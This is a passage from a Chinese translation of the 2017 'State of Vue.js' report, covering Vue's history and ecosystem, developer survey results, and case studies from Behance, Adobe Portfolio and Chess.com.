的历史，以及框架的创建者尤雨溪对 Vue.js 未来的想法。\n\n![](https://i.niupic.com/images/2017/10/31/fXsajR.png)\n\n报告的顺利完成得到了许多人的支持。他们分享他们的知识和经验，给予了我们莫大的帮助，仅仅因为他们想为社区贡献一份属于自己的力量。\n\n感谢 Evan You（尤雨溪）。他从一开始就对这篇报告抱以热情，并在创建报告过程的各个阶段支持我们。同时，Evan You（尤雨溪）还分享了对 Vue.js 未来和后期规划相关的宝贵看法，并对我的努力表示支持。\n\n感谢Vue.js的核心成员 Chris Fritz 和 Evan ，对我们分析调查结果给予了很大的帮助。真的很荣幸！因为有了这样的合作，我们对最终的报告质量非常满意。<br>\n\n非常感谢 Jacob Schatz, Sylvain Simao, Roman Kuba, Gilles Bertaux, Scott O’Brien, Erin Depew, Matt O’Connell 和 Yuriy Nemtsov。没有你们花费间分享们们的故事，报告中的学习案例就不会存在。\n\n### 主要贡献者\n\n![](https://i.niupic.com/images/2017/10/31/gLIe1Z.png)\n\n## Vue.js 的演变\n\n你知道 Vue 第一次发布是在什么时候吗? 最初它甚至并不叫「Vue」。作者的首次提交是在 2013 年 06 月 27 日，那时项目叫「Seed」，转瞬间，Vue.js 已经四岁了。「Seed」这个名字用了六个月，在 2013 年 12 月初，作者把它正式更名为「Vue」。但是，Vue 的第一个对外的版本（0.8.0）在 2014 年 2 月 才发布，在那时候，Vue.js 还只关注 MVC 架构中视图（View）部分。\n\nVue 具有几方面重要的特性，使得它很容易被开发人员接受。 Vue 的模板语法风格很像 AngularJS，也有被 React 引入的基于组件的架构 这样，开发者可以从二者平滑地过渡到 Vue。我会把 Vue 想象为一个继承了父母（AngularJS，React）优秀基因的孩子，它自己也不断地提升开发者的使用体验。\n\n也就在一年后，当时 Laravel 社区（一款流行的 PHP 框架的社区）首次使用 Vue，JS 社区才对 Vue 越来越感兴趣，也才真正的流行起来。几个月之后，期盼已久的 1.0 版本终于发布了，对于 Vue 来说，这是具有里程碑意义的一次版本发布。\n\n与此同时，vue-router（2015-08-18）、vuex（2015-11-28）、vue-cli（2015-12-27）相继发布，这意味着 Vue.js 从一个视图层库发展为我们现在所说的渐进式框架。\n\n去年，备受期待的 2.0-alpha 版本发布，它被彻底重写了，同时引入了一些新的概念，比如: Virtual DOM 和服务端渲染。但是，API 基本没有变化，因此从 1.0 到 2.0 版本可以平滑迁移。使用官方出品的[迁移工具](https://github.com/vuejs/vue-migration-helper)会帮助你完成迁移过程。\n\n### 社区\n\n在接近一年的时间里，至今依然活跃的社区促使 Vue.js 成为了 JavaScript 三大顶级框架之一，而且看起来并不会止步不前。\n\n人们非常喜爱 Vue。不要相信我们带有情感色彩的评估，看看这个数字：Vue 是 2016 年 GitHub 上 star 数最多的框架。\n\n社区的兴趣是非常浓厚的，当我们启动 [Vue Newsletter](http://vue-newsletter.com/) 项目时，在几分钟内，便有数百人订阅了。一直没间断的邮件通知，让我们感觉自己就像 Instagram 的明星一样（备受关注）。Newsletter 的第一期有 759 人订阅，而到了 63 期，我们的订阅人数已差不多达 6000 人。每一期都是很难准备的，因为每周都产生很多和 Vue 相关的内容。每天都有高质量的教程、见解深刻的文章以及我能想到的库翻陈出新。有点疯狂。这还不是全部，Vue 社区有一个[活跃的论坛](https://forum.vuejs.org/)和一个[聊天频道](https://chat.vuejs.org/)，每天都有成百上千的开发者活跃在上面。\n\n此外，我们可以发现，随着开发者对 Vue 的兴趣逐渐浓厚，全球很多公司开始关注 Vue。点击 [Vue.js Jobs](http://vuejobs.com/)，看看他们发布的职位吧。\n\n### 生态\n\n值得一提的是，除了社区项目之外，Vue 核心开发团队也维护了一些官方库，比如 vue-router、vue-loader、vuex（状态管理库）、vue-rx 以及针对 RxJS 开发的 vuex-observable。还有一些工具库，比如 vue-cli、vue-server-renderer、vue-loader、vetur、vue-migration-helper。它们为什么重要? 因为这样，你就可以渐进式地使用其他核心库，这些库可以完美配合，使得 Vue 转变为一个像 Angular、Ember 一样完善的框架。当然，如果你的项目需要，你可以随时将其中的一部分切换为其它非官方的解决方案。官方库的另外一个好处是它们往往代表着高质量、长期支持以及与 Vue 良好的兼容性。\n\n正如大家所料，像 Vue 社区这种大型而且参与感高的社区，会出现大量社区项目 不仅仅是小型项目、解决单一问题的库，我们现在来谈谈大型项目 举个例子，[Nuxtjs](https://nuxtjs.org) 是一个很有想法的基于 Vue 的框架，它采用了一些小工具库以及设计模式，这使得开发需要服务端渲染的应用变得极其简单。\n\n[Quasar 框架](http://quasar-framework.org)可以帮助开发复杂的移动和桌面应用。还有其他流行的UI框架，比如：[Element-UI](http://element.eleme.io/#/en-US) 和 [Vuetify](https://vuetifyjs.com/)，这些框架提供了几十个风格统一的 UI 组件来帮助你开发 Vue。在移动端开发方面，得到了 [OnsenUI](https://onsen.io/vue/) （由Monaca开发） 和 [NativeScript](https://www.nativescript.org/blog/a-new-vue-for-nativescript) 的大力支持。\n\n\n从我作为一个 Web 开发者的角度来看，我可以向你保证 Vue 已经有你开发应用所需的一切了。每周，我都见证越来越多的库发布，以至于没有办法追踪所有的库。你可以在 [awesome-vue](https://github.com/vuejs/awesome-vue) 找到这些库。此外，Vue 核心开发团队在 [Vue Curated](http://curated.vuejs.org/) 管理了一些推荐的库，这些库主要用于表单验证、国际化、AJAX 等常见的任务，避免开发者在选择合适的库出现选择恐惧症。\n\n### 支持\n\n许多人指出，和 Angular 或 React 不同的是，Vue 背后没有大公司的支持，而且看起来这也不太乐观 我绝不同意。Vue 和 jQuery、Babel、webpack 以及 JS 世界中其它可被信赖的工具一样体现了真正的开源精神。 这样有一个明显的优势：这些项目不用去满足这些公司的特定需求，取而代之的是更专注社区的需求。\n\nVue 实现了很多社区最需要的功能 说起 code spliting，webpack 核心开发团队成员 Sean Larkin，这样评价 Vue：\n\n> 首个使用 webpack 来提高开发者体验的框架。\n\n但在开发体验上已经远远超越 webpack，而且体验在各个方面: 易用性、无缝集成、优秀的文档、整体的可扩展性。\n\n显而易见，Vue.js 和很多其它开源项目一样，刚开始是一个个人作品。 慢慢地，它拥有了一个全职核心团队，专门负责维护它的各个方面和生态系统。\n\n基金会呢? 近两年，通过在 Patreon 和 Open Collective 上的成功运作，全球的很多个人和公司决定每个月固定赞助尤雨溪（Vue 作者）和核心团队超过 10000 美元。这样，尤雨溪就可以全职从事 Vue 的开发了。\n\n赞助者包括许多公司和几百位个人赞助者。在[这里](https://vuejs.org/support-vuejs/)可以看到这些赞助者们。\n\n### 成长\n\n让我们通过一组数字来更直观地感受到 Vue 生态的快速成长。\n\n以 GitHub 的 star 数为例，尽管它不是衡量一个项目知名度的完美指标。但开发者们很兴奋，而且这份兴奋使得 Vue 成为 [2016 年 Github 上获得 star 数最多的项目](https://risingstars2016.js.org/#all)。不限于 JavaScript 或者前端分类，在2016年，它是获得star数最多的项目。过了一段时间，到现在为止，它已经是 star 数第二多的前端框架了，仅次于 React。同时，它也是 GitHub 上 star 数第六多的项目，已经超过了 jQuery 和 Angular。\n\n[2016 年前端调查](https://stateofjs.com/2016/frontend/)显示: Vue 是用户满意度最高的语言之一，89% 使用过 Vue 的开发者表示会再次使用 Vue。\n\n当然，还有其他指标来衡量 诸如 npm 上每个月的下载量（大约 800k），开发者工具每周活跃用户数达到 270k。npm 上的下载量相比 React 的下载量相差很小。但值得一提的是：在过去的十二月，Vue 的下载量增长了 5 倍。以 Vue 现在的增幅，我相信在未来几年，这个数字将会以更快的速度增长。\n\n\n事实上很大一部分的增长是因为越来越多的公司选择 Vue 作为主要的前端框架。除此之外，开发者们很欣赏 Vue 平滑的学习曲线、集成到现有的技术栈的便捷，以及顶尖的性能。也许最重要的因素是提升开发效率和减少维护成本。换句话说，选择 Vue，省钱。\n\n但不要只信我的一家之言。为此，我们对来自 88 个国家的 1126 位开发者做了调研，并收集了一系列来自不同行业的采用 Vue 的案例。\n\n## 使用 Vue.js 的开发者调研报告\n\n我们很好奇软件开发者以及技术主管们都是如何看待并使用 Vue.js 的，因此我们分发了一份网上问卷给他们，其中列举了以下这些问题：\n\n- 为何要将 Vue 加入你们的技术栈？\n- 使用该框架能带来哪些好处？\n- 如果考虑在项目中使用 Vue 的话，你们会主要担心哪些问题？\n- 你们使用哪些资源以便熟练地使用 Vue.js？\n- 你们的同事中有多少也在用 Vue？你们觉得在未来一年里这个人数会上升吗？\n- 你们和你们的团队分别使用 Vue.js 多久了？\n- 你们公司还使用过哪些其它的前后端技术？\n\n### 报告的数据说明\n\n该报告中的所有数据来源于我们在 2017 年的八月至九月进行的一次为期四周的调研。我们总共收到了 1,126 份问卷回复，大多来自于使用 Vue 的组织中的技术主管及软件开发者们（94.1% 的问卷回复者都承担相关的技术工作）。这些回复者们来自世界各大洲（除了南极洲），总共 88 个国家。\n\n我们在撰写该报告的同时还针对一些调研结果咨询了 Vue 的创始人尤雨溪以及 Vue 的核心成员 Chris Fritz，他们为我们提供了一些独到的观点并分享了更深远的洞见。\n\n### 主要观点\n\n- **96%** 的调研回复者表示会在他们的下一个项目中继续使用 Vue.js。\n- **94%** 的回复者使用官方 Vue 文档作为他们了解该框架的主要资源。\n- **81%** 的回复者说 Vue 的集成很方便，这是他们在自己组织中的技术栈里推行它的一个主要好处。\n- **54%** 的回复者相信在未来 12 个月里，Vue.js 会在自己的组织中变得愈发流行。\n\n### 调研问卷中的问题\n\n#### 将 Vue.js 加入技术栈中的最主要原因是？\n\n不管开发者们新建还是接手已有的项目，他们基本一致地认为：Vue.js 很容易上手，哪怕是对于一个非常复杂的应用而言。他们评论说集成 Vue.js 很容易，原因在于它使用简单、架构优雅、同时设计精巧。不仅如此，他们还在将其与其它主流框架对比后声称 Vue 更轻量、性能更优，是毋庸置疑的胜者。总的来说，**超过半数的问卷回复者都认为 Vue.js 是个对入门者相当友好的框架。**\n\n**将 Vue.js 加入技术栈中的最主要原因**\n\n![](https://i.loli.net/2017/11/01/59f9674ec9cac.png)\n\n- Vue.js 上手很容易 59%\n- 技术栈需要更新了 22%\n- 团队想尝试下这个框架 10%\n- 其它原因 9%\n\n> 很适合用于现有的或者新项目，而且用起来很容易！\n>\n> —— 技术主管，大企业，法国\n\n> 集成进现有应用中，或者实现个纯单页应用都很方便。\n>\n> —— 软件开发，中型企业，澳洲\n\n#### 你和你的团队考虑将 Vue.js 加入技术栈的时候会有哪些顾虑？\n\n对于这个提问，回复者们提到了两个主要担心的问题。首先的一点是关系到自己团队成员的，45% 的回复者都表示，这些成员们 **缺乏 Vue 的相关经验** ，而这会是他们在考虑将 Vue.js 加入技术栈的时候可能面临的问题。\n\n**考虑将 Vue.js 加入技术栈时的顾虑**\n该题为多项选择，因而结果总和超过 100%\n\n![](https://i.loli.net/2017/11/01/59f96a6bb6cff.png)\n\n- 同事们缺少 Vue.js 相关经验 45%\n- 不确定该框架的未来趋势 45%\n- 缺少成熟的相关原生应用开发平台 23%\n- 对该框架的扩展性有所顾虑 15%\n- 其它顾虑 12%\n\n> Vue 在手机上的支持是在持续提高的。现在 Vue 已经提供了对 Progressive Web Apps 的强大支持，这其中包括了我们提供的可靠模板。社区项目中像是 Onsen UI 就简化了构建类 native 的 hybrid UI 的过程。\n>\n> —— Chris Fritz，Vue.js 的核心开发\n\n> 我们现在就有 Weex 和 NativeScript（译者补充：来支持开发原生应用）, 但我们也承认这两者都有很多改善空间。Weex 其实被阿里巴巴用以线上开发已经很长一段时间了，也是其在手机开发领域上的主要选择。但 Weex 欠缺了一些英文文档和学习资料。为了弥补这一点，我们也已准备在接下来一年内提供官方指南，帮助大家使用 Vue 来开发 Weex。（译者补充：现已有[官网教程](https://weex.apache.org/cn/guide/intro/using-vue.html)）\n>\n> NativeScript 也是个很成熟的技术了，虽然它和 Vue 的集成还相对年轻，但每天进展飞速，令人印象深刻。所以如果你对使用 Vue 来开发原生应用有兴趣的话请一定要关注下。\n>\n> —— 尤雨溪，Vue.js 创始人\n\n**缺少成熟的原生应用开发平台** 也被相近比例的回复者提到，这也是他们在将 Vue.js 加入技术栈前的顾虑。\n\n有 172 个被调研者勾选了对 Vue.js 扩展性的顾虑，这使得该选项成为五个阻碍着开发者们拥抱 Vue.js 的主要原因之一。\n\n> Vue 的开发是基于组件化模型的，这也是现在所有主流框架中共享的一种适用于 UI 开发的设计模式。对于单页应用，Vue 提供了官方支持的路由库，也支持大规模状态管理。Vue 的设计初衷是轻量级易上手，但支持规模化也被我们设计在案。\n>\n> 现已有很多成功的大规模项目是使用 Vue 打造的，有些甚至由几百个组件构成还照样运转得很顺利。另外值得一提的是，一些现有的大规模应用都在用 Vue 重写，我们收到了来自这些应用开发者们非常肯定的反馈，比如 Adobe Portfolio 和 JSFiddle。\n>\n> —— 尤雨溪\n\n#### 使用 Vue.js 给你的组织带来的最大好处是哪些?\n\n**81% 的开发者都强调了 Vue.js 的易于集成**，这个比例很惊人。大多数回复者都谈到要想熟练掌握 Vue 很容易，而且比起其它主流框架来说更容易。他们还称赞其**与后端框架集成也不复杂**。\n\n60% 的开发者还提到 Vue 的文档是其亮点。差不多比例的回复者（56%）认为该框架的性能优异是其最大的优势。\n\n**Vue 最大的优势**\n多项选择，结果总和超过 100%\n\n![](https://i.loli.net/2017/11/01/59f96ed5e1c69.png)\n\n- 易于集成 81%\n- 文档详尽 60%\n- 性能优异 56%\n- 与时俱进 49%\n- 社区活跃 29%\n- 其它优势 4%\n\n> Vue.js 的学习曲线很平缓，很多人因此产生兴趣。\n>\n> —— 高级开发，中型企业，新西兰\n\n> 我们之前在 React 和 Vue 之间进行过抉择，最后我们选择了 Vue，至今我们都很庆幸我们的选择。\n>\n> —— 软件开发，中型企业，美国\n\n> Vue.js 使得前端开发容易管理也易扩展。它的学习成本也不高，这使得后端开发们也不需要太多指导就能清楚前端这边的工作。因为现在已经有很多好用的 webpack 相关配置，使用 Vue 现在有点像是装个插件一样。最后说一点，运行时和编译时我们都能使用 Vue.js，它真的是个很棒的工具，无论是对于小型的应用来说还是大型应用而言，想要扩展都不太难。\n>\n> —— 软件开发，小公司，菲律宾\n\n#### 有哪些建议是你想对 Vue.js 提的吗？\n\n对于这个开放式问题，我们收到了 481 份有效回答。由于有些建议被 20 多人提到了，因此我们决定列举几项比较共性的建议，再开放个单选题。\n\n缺乏 Vue 相关的原生开发解决方案是几个最大的问题之一，24% 的回复者都同时提到了这点。毫无疑问地，**Vue.js 需要更先进完善的移动端解决方案**。\n\n15% 回答这个问题的都指出 Vue 还有个不足是其**生态环境相对较小**。如果其生态环境能更强大的话，它一定能孕育出更为优秀的组件库。\n\n除此之外,\n\n> **随着下一版 CLI 的更新，Vue 的工具也会得到改善**，尤雨溪如此保证。\n\n在这些回复中，还有人提到说 Vue 缺少一些官方教程（一个回复者称为《 Vue 圣经 》），或者一份能提供更多现实案例，特别是针对复杂应用的指导手册。Christ Fritz 指出，\n\n> **现在已经发布的[官方风格指南](https://vuejs.org/v2/style-guide/)某种程度上来说可作为 Vue 圣经，但在开展调研那时还没提供。**\n\n同时还有个建议是， **该框架需要一份更完善的文档**。有 53 个回复者提到了和该建议直接相关的一些问题（比如建议多提供些用 Vue 构建一个大型应用的架构设计文档），以及和该建议并不直接相关的问题，比如一些他们错误地认为不能用 Vue 解决的问题。有两个问题被 20 多个回复者都指出了，一个是需要加强测试工具，另一个是需要**优化核心库**。\n\n**对 Vue.js 的建议**\n\n![](https://i.loli.net/2017/11/01/59f977f3035c6.png)\n\n- 需要更先进完善的 Vue 原生应用客户端解决方案 116票\n- 需要更强大的生态环境，能提供更优秀的组件库和工具组 74票\n- 需要官方教程以及其它相关学习资源，以期提供更多现实案例和最佳实践（特别是复杂应用相关的） 67票\n- 需要更完善的文档，以便更顺利地开发应用 53票\n- 需要更棒的测试工具和库 37票\n- 优化核心库 21票\n\n> 我们将在十一月起认真撰写使用手册，以便为构建大型应用、通用集成方案、架构设计探索等问题提供示例。\n>\n> —— Chris Fritz\n\n#### 开发下一个项目时，你有多大可能会再次使用 Vue？\n\n超过 **95% 的回复者声称他们在下一个项目中还会使用 Vue**。许多开发者明确表示他们使用过该框架后，之前的顾虑都不再是问题。即使他们还是指出了它的一些不足和值得改进之处，但几乎所有人在用过该框架后都对其称赞有加。同时绝大多数回复者选择在下一个项目中依然使用 Vue。\n\n**在下一个项目中会使用 Vue 的可能性**\n\n![](https://ooo.0o0.ooo/2017/11/01/59f98213a9d6f.png)\n\n- 5（非常高）82.9%\n- 4 12.5%\n- 3 3.5%\n- 2 1%\n- 1（非常低）0.1%\n\n#### 你所在的组织机构使用 Vue.js 有多久？\n\n随着 Vue 社区的逐步壮大，精心打造的相关项目在世界各地层出不穷，同时它也跻身于 [GitHub 上星数排名前十的仓库列表](https://github.com/search?p=1&q=stars%3A%3E1&s=stars&type=Repositories)，Vue 愈来愈受到普遍认同。**超过 3/4 的回复者在近一年内将 Vue.js 加入了他们的技术栈中**。\n\n我们可以预见在未来几年内使用 Vue 的开发者数量会飞速上涨，同时该框架自身也在不断变得成熟，其生态环境将不断强大，也会有越来越多的使用案例。\n\n**你所在的组织机构使用 Vue.js 有多久？**\n\n![](https://ooo.0o0.ooo/2017/11/01/59f984a53aeeb.png)\n\n- 少于 6 个月 45%\n- 6–12 个月 34%\n- 1–2 年 19%\n- 超过 2 年 2%\n\n#### 学习 Vue.js 时你会使用哪些资源？\n\n**官方 Vue 文档是最普遍使用的参考资源。** 94% 的软件开发者都勾选了它，这也说明了，一份深思熟虑后发布的文档是学习任何框架的主要资源。另外，70% 受调研的软件开发者还选择了线上文献、技术博客、一些社区像是 StackOverflow 或者官方 Vue 论坛等作为知识来源。线上课程受到了 41% 开发者的青睐，而选择了在职培训、相关书籍的只占 1/4 不到。\n\n**Vue.js 的学习资源**\n多项选择，结果总和超过 100%\n\n![](https://ooo.0o0.ooo/2017/11/01/59f987f910880.png)\n\n- 官方文档 94%\n- 线上文献及博客 78%\n- 线上社区（比如 StackOverflow、Vue 官方论坛） 72%\n- 线上课程 41%\n- 在职培训 22%\n- 书籍 12%\n- 其它 5%\n\n#### 你觉得你所在的组织机构中使用 Vue.js 的员工比例会在一年内增长吗？\n\n**54% 的回复者相信 Vue.js 在未来一年中，将在其组织里变得愈发流行。** 然而那些在大型企业（超过 1,000 员工）工作的开发人员更确信 Vue 在其公司会被广泛接受：76% 的受调研者勾选了赞同。\n\n**使用 Vue.js 的员工比例会上升吗**\n\n![](https://ooo.0o0.ooo/2017/11/01/59f98810daa31.png)\n\n- 5（绝对会）33%\n- 4 21%\n- 3 24%\n- 2 11%\n- 1（绝对不会）11%\n\n> 公司的其它项目都打算使用 Vue（甚至已经开始用了）。\n>\n> —— 软件开发，大型企业，法国\n\n> 我们在疯狂扩招，有非常多的项目将要涌现。这些项目都会使用 Vue.js 来开发。\n>\n> —— 技术总监，大型企业，德国\n\n#### 你主要使用的前端技术和框架是哪些？\n\n**主要使用的前端框架**\n多项选择，结果总和超过 100%\n\n![](https://ooo.0o0.ooo/2017/11/01/59f9883bf1687.png)\n\n- Vue.js 33%\n- Angular 21%\n- ReactJS 24%\n- 其它 11%\n- Backbone 6%\n\n#### 你主要使用的后端技术与框架是？\n\n**主要使用的后端语言与框架**\n多项选择，结果总和超过 100%\n\n![](https://ooo.0o0.ooo/2017/11/01/59f98eac1734c.png)\n\n- PHP 53%\n- Node.js 45%\n- Java 18%\n- C#/.Net 17%\n- Python (Django、Flask等框架) 17%\n- Ruby (Rails等框架) 10%\n- 其它 8%\n\n### 受调研人员数据\n\n我们对来自 88 个国家的 1,126 名熟悉 Vue 的软件开发者、CTO、以及其他相关技术人员进行了调研。\n\n**公司规模（员工数量）**\n\n![](https://ooo.0o0.ooo/2017/11/01/59f98f1be43bd.png)\n\n- 小型企业（少于 100 人）77%\n- 中型企业（100-999 人）15%\n- 大企业（超过 1000 人）8%\n\n**团队规模（组员数量）**\n\n![](https://ooo.0o0.ooo/2017/11/01/59f98f761c64e.png)\n\n- 小团队（2-10 人）73%\n- 个企 17%\n- 中型团队（11-25 人）8%\n- 大型团队（超过 25 人）2%\n\n**在组织中担任的职能**\n\n![](https://ooo.0o0.ooo/2017/11/01/59f98fcd2ddaf.png)\n\n- 软件开发 66%\n- 技术主管 20%\n- 其他技术人员 8.5%\n- 项目经理 4%\n- 其他 1.5%\n\n## 案例研究\n\n起草这份关于 Vue.js 现状的报告，是想通过大量的数据来证明，Vue 已被不同种类、不同规模的公司采用，已然成为了一门成熟的技术。每一个研究案例都证明了 Vue 是足以应对商业用途的。我们采访了六家公司，他们都曾面临着选择一套合适框架的挑战，即使他们处在不同的发展阶段，也有着不同的目标，但是他们最终都选择了 Vue。\n\n在 Codeship 和 Vue 结合之前，他们的用户忍受着卡顿甚至是浏览器崩溃。太多的用户对他们的应用程序心有不满。他们的故事很好地证实了，Vue 可以有效地帮助构建安全、可靠、易维护且具有防御性的应用程序。\n\n如果你正在寻找 Vue.js 的优秀企业级案例，那么 Behance 和 Adobe Portfolio 的案例就可以派上用场。他们的团队使用 Vue 零基础地建立了两个独立的产品，而且不会止步于此。\n\n在 Livestorm 案例中，Livestorm 联合创始人兼 CEO Gilles Bertaux 描述了他们如何从零开始创造一个可盈利的产品。得益于 Vue 及其可复用的组件，他们的开发速度更快也更容易。\n\nGitLab 的前端 Leader Jacob Schatz 解释了为什么他们决定从 jQuery 技术转移到 Vue.js，同时分享了他们遇到的主要挑战。他们专注于更好的 UX （用户体验），这使得他们的产品更为理想，销量也因此提升了。\n\nChess.com 则不得不处理 Angular 1 项目中难以维护的遗留代码。他们发现，Vue.js使得 15 位远程开发人员的团队协作更容易。Chess.com 是一个服务全球 1900 万用户且拥有大规模基础设施的平台。在他们的案例中，你将了解 Vue.js 是如何化解了他们的难题。\n\n最后一个案例与其他案例大有不同。墨尔本 Clemenger BBDO 的技术主管 Sylvain Simao 介绍了如何用 Vue.js 开发 4 到 12 周的短期项目。应对紧张的交付周期、大量的动画和特效需要实现、活动页面的高性能要求是他们面临的最大挑战。\n\n### Behance 和 Adobe Portfolio\n\n**Behance** 是展示和发现创意作品类在线平台中的引导者。 \n**Adobe Portfolio** 可以让（用户）打造自己专属创意作品展示网站的定制平台。\n\n> 我们曾因为当时并没有太多大公司使用 Vue 而犹豫。但是，每当我遇问题（通常都是因为我的多虑），Vue都可以很容易的解决，这让我感到惊喜。\n>\n> ——\n> Erin Depew， Behance 软件工程师 \n> Yuriy Nemtsov， Behance 软件工程师兼经理 \n> Matt O'Connell， Adob​​e Portfolio 软件工程师\n\n#### 挑战\n\n从自产解决方案转移到开源技术。\n保持良好的用户体验和高性能。\n能够在其他团队和项目之间共享组件。\n\n#### 解决方案\n\n将 Behance 和 Adobe 前端团队转型到 Vue.js。 \n使用 Vue.js 来迁移现有的代码库。\n\n#### 成果\n\n可以不紧不慢地迁移网站，而无需从头开始。\n轻松整合现有代码库。\n高性能，低成本。\n\n### 挑战\n\nBehance 是 Adobe 旗下的一家子公司，多年来他们一直在利用最新的技术和设计思想创造能够联结并壮大创意世界的革命性的产品。\n\n该团队已决定使用开源框架，因为他们开始受限于目前已经使用的自产技术。\n\n> Yuriy 解释说，在 Vue 之前，我们一直在使用自主研发的一个 MVC 框架，它依赖于 Hogan.js（mustache）和 jQuery。我们的框架无法以声明方式渲染 DOM，这迫使我们只能手动同步数据到 DOM 上。它也无法将功能抽离成组件，控制单向数据流，也没有全面的文档。所以尽管已经使用了几年，我们还是决定转向一个可以让我们能够快速构建，减少出错，降低成本，快速上手的技术方案。\n\n![](https://i.loli.net/2017/11/02/59faea0ada687.jpg)\n\n> Mustache 对我们特别重要，因为当时我们在前后端使用了相同的模板（现在多数 behance.net 的项目中依然如此）。利用 Mustache 将首屏快速提供给浏览器对于我们和用户都是非常重要的。如果我们等待浏览器下载 JS，解析，编译和执行它，然后才将页面显示给用户，要想达到与使用 Mustache 时同样的速度是非常困难的。我们也特意寻找过具有服务器端渲染功能的框架。\n\n对于 Behance 团队，首要目标是构建一个易用的代码库，并为今后添加的新功能打下坚实的基础。\n\n> 我认为我们面临的最大挑战就是，由于我们决定不拆分我们的代码库并从一个新平台开始，我们不得不花费大量的时间抽离旧的代码来形成新的组件。Erin 补充说，既要用 Vue 重构旧代码并保证网站其余功能正常运行，又要实现新功能，如何权衡这两件事确实是个挑战。\n\n> 我们非常重视 Behance 的性能，所以我们非常小心，以确保在迁移代码库的同时保持性能指标。\n\n对于 Matt 和他的团队来说，用户体验也是很重要的一点，并且有很大的改进空间。\n\n> 关于 Adobe Portfolio，我们一开始使用 nbd.js，这是一个从原本我们已经不再维护的产品中提取出的 Backbone 自定义版本，称为“在线操作”，我们用它来构建 Behance 网络的模块。Matt 补充说，它对反应式系统有限制，因此我们使用 Ractive 构建了“反应性”部分。\n\n> 就 Behance 的情况来说，迄今为止最大的挑战就是，在复杂的用户数据状态管理下保持快速的用户体验，同时保证站点的内容和样式的即时反馈。\n\n### 解决方案\n\nAdobe Portfolio 和 Behance 重新培训其现有的团队使他们可以在日常工作中使用 Vue.js，而不是重新组建一个只关注于 Vue.js 的新团队。\n\n> 在我们切换到 Vue 之前，绝大多数的团队都在这里。一旦我们决定采用 Vue，我们需要一些小项目来练手。对我们来说，只需要非常小，只有前端功能且不公开访问的站点即可，就像我们的样式指南。这样，我们可以学习如何使用 Vue，如何编写测试，并相对安全地对组件进行风格化。只有这样，我们才能安心投入更大的项目。我们于是就用 Vue 开始打造 Behance Live，Yuriy 回忆说。\n\n![1509617601(1).jpg](https://i.loli.net/2017/11/02/59faefebec94a.jpg)\n\n> 在 Portfolio 项目中，我们 9 人的前端团队都开始使用 Vue。我们的一些后端开发人员也开始学习 Vue。 Matt 解释说，Behance 产品中约有8位前端开发人员在使用 Vue 进行开发。\n\n> 两个团队确实有一些功能上的重叠（Adobe Portfolio 和 Behance）。Erin 补充说，我们在代码库之间共享了许多库和 API，而且一些功能的展现通常需要两个站点一起合作。\n\nBehance 团队在定义如何构建应用程序的一般方法以及如何定义不同组件的角色方面遇到了许多挑战。\n\n> 对于比较大的应用程序，vuex 存储区也很难构造。我们决定使用命名空间模块。一开始我们不清楚每个路由/页面或数据类型（例如用户或项目）是否应该存在单个存储模块。创建特定的路由存储意味着跨路由的操作将不可重用。对我们来说，使它们具有数据特性是最好的解决方案，其中包含一个顶级路由存储模块，它结合了路由所需的模块。但是，这个解决方案还不够完美。Yuriy若有所思地说。\n\n> 为了定义各种组件的角色，我们区分“页面”组件（路由器指向的第一个组件，也是与 vuex 交互的组件）和木偶组件（仅将属性发送到子组件，将事件传输给父组件）。\n\n使用 Vue.js 将近 1 年后，Matt 和他的团队终于构建和重构了一堆功能。\n\n> 在 Adobe Portfolio 中，我们从内容管理功能入手。内容管理允许用户可以在自己的 portfolio 网站上进行重新排序，添加，删除等操作。根据需求，我们构建了可复用的 UI 组件，如选择下拉列表，浮窗，切换控件和拖放列表，Matt 说。\n\n### 成果\n\n据 Erin 介绍，由于 Vue 具有先进性和灵活性，Vue 易于和 Behance 现有的代码库集成。\n\n![1509617746(1).jpg](https://i.loli.net/2017/11/02/59faf0615bbaf.jpg)\n\n> 我总是说，每个框架仅仅是另一个工具而已。然而，除了更新快和易阅读的文档之外，使用 Vue 的最大好处就是可以将其集成到现有的代码库中。与其他基于组件的框架不同，Vue 给予我们在现有的页面嵌入组件的能力，使我们能够以自己节奏更新站点，而不是全部替换。\n\n> 我会说 Vue 超出了我们的期望。我们曾因为并没有太多大公司使用 Vue 而犹豫。但是，每当我遇到问题（通常都是因为我的多虑），Vue 都可以很容易地解决，这让我感到惊喜。她笑着说。\n\n> 目前，我们正在计划将我们的整个 Behance 代码转换为 Vue，当然，也在推荐 Adobe 的其他团队使用 Vue。\n\nYuriy 认为，Vue.js 提供给开发人员的可能性与其他框架一样多。然而，与一些框架相比，它使开发更容易...也更便宜。\n\n> 我不敢说 Vue 能帮你做一些其他的框架做不到事情。但是，使用 React 的话，提升 SSR 的性能确实事件很难的事。在使用 Fiber 重写（React v16）之前，一个具有巨大组件树的页面将阻塞主线程，反过来说，这就意味着如果需要 100ms 来渲染一个页面，那么 Node 服务器的所有其他客户端就只能等待。因此，我们需要增加单个服务器的进程数量或增加服务器数量来提高吞吐量。这很难维持，而且非常昂贵。Vue 的 SSR 情况就强大很多。Vue 有内置缓存和流式传输，因此即使不做大量优化，Behance Live 的性能也很好。\n\n> 使用 Vue.js 绝对与使用其他框架不同。不知何故，你会爱上他的。\n\n![1509617816(1).jpg](https://i.loli.net/2017/11/02/59faf0a462160.jpg)\n\n### Chess.com\n\nChess.com 是排名第一的在线国际象棋网站。来自全世界各个地方各个段位的棋手每天要对弈超过 100 万局。Chess.com 是由 100 位成员组成的完全远程工作的团队。\n\n> 这是我第一次一口气阅读完整的文档。现在是凌晨 1:30。当我看完时，我知道了 Vue.js 是个特别的东西。它有一些独特之处。一些我从来没有见过的东西。\n>\n> Scott O’Brien，Chess.com 首席用户体验工程师\n\n**挑战**\n\n处理难以维护的 Angular 1 遗留代码。\n\n引入新特性以增加用户参与度。\n\n在一个完全分布式的开发团队中管理变更。\n\n**解决办法**\n\n对所有可用的框架进行基准测试。\n\n从 Angular 1 迁移到 Vue.js。\n\n构建日益增长的组件库（连同它的模块化 CSS）。\n\n**成果**\n\n使得全远程的团队合作更加愉悦。\n\napp 内编写 CSS 更加高效。\n\n与其他框架相比，在速度、能力和抽象方面更有效地进行扩展。\n\n#### 挑战\n\nChess.com 是国际象棋领域中访问频率最高的网站，拥有多达 1900 万成员庞大的社交网络。它有新闻，博客，社区，教程，谜局，当然也包括实时对弈。网站门户的复杂性是巨大的。\n\n遗留代码是用 PHP 和 Angular 1 编写的。任何时刻，Chess.com 都承载着网页上或手机上成千上万的实时对战游戏。对于这样一个网站来说，性能是第一位的。\n\n> 我们已经知道使用 Angular 1 